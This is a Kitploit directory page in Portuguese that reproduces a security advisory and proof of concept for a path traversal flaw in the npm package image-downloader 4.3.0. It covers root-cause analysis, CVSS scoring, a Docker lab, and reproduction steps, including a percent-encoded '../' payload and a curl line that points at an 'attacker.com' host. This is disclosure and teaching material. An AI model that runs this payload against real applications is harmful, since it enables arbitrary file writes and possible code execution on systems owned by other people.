Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-103648 — Advisory e PoC para CVE-2026-103648, um path traversal (CWE-22) no image-downloader 4.3.0 que permite escrita arbitrária de arquivos, com análise de causa raiz, diff de patch e laboratório Docker. | Kitploit
Ferramentas/GitHubGitHub/eternullsec/cve-2026-103648
Scanners de VulnerabilidadesAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoPapers e PesquisaAprendizado e EducaçãoRed TeamingLabs e Prática
GitHubeternullsec/cve-2026-103648

CVE-2026-103648

Advisory e PoC para CVE-2026-103648, um path traversal (CWE-22) no image-downloader 4.3.0 que permite escrita arbitrária de arquivos, com análise de causa raiz, diff de patch e laboratório Docker.

há 8h 7mAinda não revisado
Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-103648 — Path Traversal em image-downloader

CVE CVSS CWE Package Status License

Descoberto por: Amirhossein Roustaei (@EterNullSec) — Eternull Security

⚠️ Apenas para Fins Educacionais. Este repositório documenta uma vulnerabilidade divulgada de forma responsável. Todo o código PoC destina-se exclusivamente a pesquisa de segurança autorizada e testes em ambientes de laboratório isolados. Não utilize contra sistemas que você não possui ou para os quais não tenha permissão escrita explícita de teste.


📋 Resumo do Aviso

CampoDetalhes
ID CVECVE-2026-103648
Entrada NVDnvd.nist.gov/vuln/detail/CVE-2026-103648
Pontuação CVSS v3.19.1 Crítica — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
CWECWE-22: Limitação Imprópria de um Nome de Caminho a um Diretório Restrito
Pacoteimage-downloader (npm) por demsking
Downloads semanais no npm~11.000 (~38.000/mês) — fonte
Versões Afetadas< 4.3.1 (todas as versões, incluindo 4.3.0)
Versão Corrigida4.3.1
Atribuído PorGitLab
Publicado2026-10-02
RelatorAmirhossein Roustaei (@EterNullSec), Eternull Security

🔬 Análise Técnica da Causa Raiz

A vulnerabilidade está na lógica de extração de nome de arquivo do [email protected]. Este é o código-fonte real da versão afetada (index.js, extraído diretamente do pacote npm publicado):

// [email protected] — index.js (código-fonte real, sem modificações)
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
  if (!options.url) {
    return Promise.reject(new Error('The options.url is required'));
  }
  if (!options.dest) {
    return Promise.reject(new Error('The options.dest is required'));
  }

  if (extractFilename) {
    if (!path.extname(options.dest)) {
      const url = new URL(options.url);
      const pathname = url.pathname;
      const basename = path.basename(pathname);          // ❌ basename ANTES da decodificação
      const decodedBasename = decodeURIComponent(basename); // decodificação acontece DEPOIS

      options.dest = path.join(options.dest, decodedBasename); // path.join resolve ".."
    }
  }
  // ...
  return request(options);
};

O bug exato

  1. path.basename(pathname) é chamado sobre o pathname da URL ainda percent-encoded. Uma sequência como %2e%2e%2fpwned.sh não contém nenhuma / literal, então path.basename() trata tudo como um único nome de arquivo e o retorna inalterado — nada é removido.
  2. O resultado é então passado por decodeURIComponent(). Este é o passo que transforma %2e%2e%2f de volta em um ../ literal — mas a essa altura ele já sobreviveu ao passo de basename que deveria sanitizá-lo.
  3. path.join(options.dest, decodedBasename) é chamado com uma string que agora contém um segmento ../ real. path.join() normaliza .. da mesma forma que cd .. faria — então o caminho final de escrita resolve para um local fora de options.dest.

Em resumo: o código decodifica o nome de arquivo da forma correta, apenas na ordem errada em relação a path.basename(). Decodificar-depois-basename é seguro; basename-depois-decodificar não é.

Gatilho mínimo

URL pathname:  /%2e%2e%2fpwned.sh
basename():    "%2e%2e%2fpwned.sh"        (inalterado — sem '/' literal)
decode:        "../pwned.sh"              (traversal agora literal)
path.join(dest, "../pwned.sh")
            → resolve um diretório ACIMA de dest

Detalhamento do CVSS

Vetor de Ataque:          Rede        (AV:N)  — acionável remotamente
Complexidade de Ataque:   Baixa       (AC:L)  — sem condições especiais
Privilégios Necessários:  Nenhum      (PR:N)  — sem necessidade de autenticação
Interação do Usuário:     Nenhuma     (UI:N)  — totalmente automatizado
Escopo:                   Inalterado  (S:U)
Confidencialidade:        Nenhuma     (C:N)
Integridade:              Alta        (I:H)   — escrita arbitrária de arquivos
Disponibilidade:          Alta        (A:H)   — sobrescrita de arquivos críticos / DoS

🎯 Modelo de Ataque

Este laboratório demonstra o mecanismo do bug de ponta a ponta em um único script para facilitar a reprodução, mas vale explicitar o modelo de ataque do mundo real:

  • Vítima: qualquer aplicação que chame download.image({ url, dest }) do image-downloader com um valor de url que ela mesma não controla totalmente — por exemplo, uma URL enviada por um usuário (funcionalidades de importação de avatar/imagem), extraída de um payload de webhook, ou lida de um feed RSS/conteúdo.
  • Atacante: controla (ou pode redirecionar para) o servidor HTTP para o qual a url da vítima aponta, e controla o componente de caminho dessa URL — o que já é suficiente por si só, já que o traversal reside no caminho da URL (%2e%2e%2f...), não no corpo da resposta.
  • Impacto: o processo da vítima escreve um arquivo escolhido pelo atacante em um caminho escolhido pelo atacante, fora do diretório pretendido pelo desenvolvedor — em contêineres ou scripts executados com amplo acesso ao sistema de arquivos, isso rotineiramente escala para execução de código (por exemplo, sobrescrever um arquivo cron, um arquivo authorized_keys, ou um executável que a aplicação executa posteriormente).

Em exploit/exploit.py, os papéis de atacante e vítima são colapsados em um único script por conveniência do laboratório (ele levanta tanto a requisição do servidor "vítima" quanto o servidor de payload controlado pelo atacante). Em um cenário real de exploração, estas são duas partes separadas e não relacionadas — o PoC está estruturado desta forma puramente para que a vulnerabilidade seja reproduzível com um único comando.


🧪 Configuração do Ambiente de Laboratório

Pré-requisitos

  • Docker & Docker Compose OU Node.js v18+
  • Python 3.x (para o script de exploit)

Opção A — Docker (Recomendado)

git clone https://github.com/EterNullSec/CVE-2026-103648.git
cd CVE-2026-103648
docker compose up --build

O servidor vulnerável estará disponível em http://localhost:3000.

Opção B — Node.js Manual

cd vulnerable-app/
npm install
node server.js

💥 Passos para Reproduzir (PoC)

Passo 1 — Iniciar o Servidor Vulnerável

cd vulnerable-app/
npm install
node server.js
# Servidor rodando em http://localhost:3000
# Diretório de download: /tmp/downloads/

Passo 2 — Executar o Exploit

python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1

Ou manualmente com curl (o traversal está no caminho da URL, não no corpo da resposta):

curl "http://localhost:3000/download?url=http://attacker.com/%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt"

Passo 3 — Verificar o Traversal

# Verifique se o arquivo foi gravado FORA de /tmp/downloads/
ls -la /tmp/pwned.txt
cat /tmp/pwned.txt

📸 Prova de Execução

$ python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1
Baixar ferramenta